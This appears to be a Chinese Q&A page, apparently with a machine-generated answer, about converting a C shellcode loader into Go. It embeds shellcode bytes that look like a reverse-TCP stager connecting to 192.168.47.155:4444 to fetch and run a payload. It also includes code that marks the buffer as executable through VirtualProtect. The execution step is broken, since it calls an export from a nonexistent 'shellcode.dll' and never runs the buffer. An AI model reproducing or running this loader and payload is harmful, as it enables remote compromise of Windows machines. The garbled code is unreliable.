将下面的代码转换成go语言内联汇编加载使用内联汇编只能加载32位程序的ShellCode因为64位程序不支持写内联汇编#pragma commentlinker sectiondataRWE 将data段的内存设置成可读可写可执行#include WindowshShellCode部分unsigned char buf =xfcxe8x8fx00x00x00x60x89xe5x31xd2x64x8
package main
import ( "fmt" "syscall" "unsafe" )
var ( kernel32 = syscall.NewLazyDLL("kernel32.dll") virtualProtect = kernel32.NewProc("VirtualProtect") )
func main() { buf := []byte{ 0xfc, 0xe8, 0x8f, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x07, 0x01, 0xc7, 0x49, 0x75, 0xef, 0x52, 0x8b, 0x52, 0x10, 0x57, 0x8b, 0x42, 0x3c, 0x01, 0xd0, 0x8b, 0x40, 0x78, 0x85, 0xc0, 0x74, 0x4c, 0x01, 0xd0, 0x8b, 0x48, 0x18, 0x8b, 0x58, 0x20, 0x01, 0xd3, 0x50, 0x85, 0xc9, 0x74, 0x3c, 0x49, 0x8b, 0x34, 0x8b, 0x31, 0xff, 0x01, 0xd6, 0x31, 0xc0, 0xc1, 0xcf, 0x07, 0xac, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf4, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe0, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x58, 0x5f, 0x5a, 0x8b, 0x12, 0xe9, 0x80, 0xff, 0xff, 0xff, 0x5d, 0x68, 0x33, 0x32, 0x00, 0x00, 0x68, 0x77, 0x73, 0x32, 0x5f, 0x54, 0x68, 0xd2, 0x53, 0x6e, 0xfc, 0x89, 0xe8, 0xff, 0xd0, 0xb8, 0x90, 0x01, 0x00, 0x00, 0x29, 0xc4, 0x54, 0x50, 0x68, 0x9c, 0x13, 0x41, 0xc4, 0xff, 0xd5, 0x6a, 0x0a, 0x68, 0xc0, 0xa8, 0x2f, 0x9b, 0x68, 0x02, 0x00, 0x11, 0x5c, 0x89, 0xe6, 0x50, 0x50, 0x50, 0x50, 0x40, 0x50, 0x40, 0x50, 0x68, 0x2c, 0x9b, 0xfc, 0xa4, 0x50, 0x58, 0xff, 0xd5, 0x97, 0x6a, 0x10, 0x56, 0x57, 0x68, 0xb6, 0x59, 0xc0, 0x0e, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0x0a, 0xff, 0x4e, 0x08, 0x75, 0xec, 0xe8, 0x67, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x6a, 0x04, 0x56, 0x57, 0x68, 0xe8, 0xd9, 0xce, 0x36, 0xff, 0xd5, 0x83, 0xf8, 0x00, 0x7e, 0x36, 0x8b, 0x36, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x56, 0x6a, 0x00, 0x68, 0x9c, 0xed, 0x92, 0x66, 0xff, 0xd5, 0x93, 0x53, 0x6a, 0x00, 0x56, 0x53, 0x57, 0x68, 0xe8, 0xd9, 0xce, 0x36, 0xff, 0xd5, 0x83, 0xf8, 0x00, 0x7d, 0x28, 0x58, 0x68, 0x00, 0x40, 0x00, 0x00, 0x6a, 0x00, 0x50, 0x68, 0x3e, 0xba, 0x17, 0xa3, 0xff, 0xd5, 0x57, 0x68, 0xe6, 0xfc, 0xe1, 0xe2, 0xff, 0xd5, 0x5e, 0x5e, 0xff, 0x0c, 0x24, 0x0f, 0x85, 0x70, 0xff, 0xff, 0xff, 0xe9, 0x9b, 0xff, 0xff, 0xff, 0x01, 0xc3, 0x29, 0xc6, 0x75, 0xc1, 0xc3, 0xbb, 0xfc, 0xd3, 0xf4, 0x5e, 0x6a, 0x00, 0x53, 0xff, 0xd5, }
// Set the memory protection of the .data section to read-write-execute
oldProtect := uint32(0)
virtualProtect.Call(uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)), syscall.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
// Execute the shellcode
shellcode := syscall.NewLazyDLL("shellcode.dll")
shellcodeFunc := shellcode.NewProc("ShellCode")
shellcodeFunc.Call()
原文地址: https://www.cveoy.top/t/topic/hN6t 著作权归作者所有。请勿转载和采集!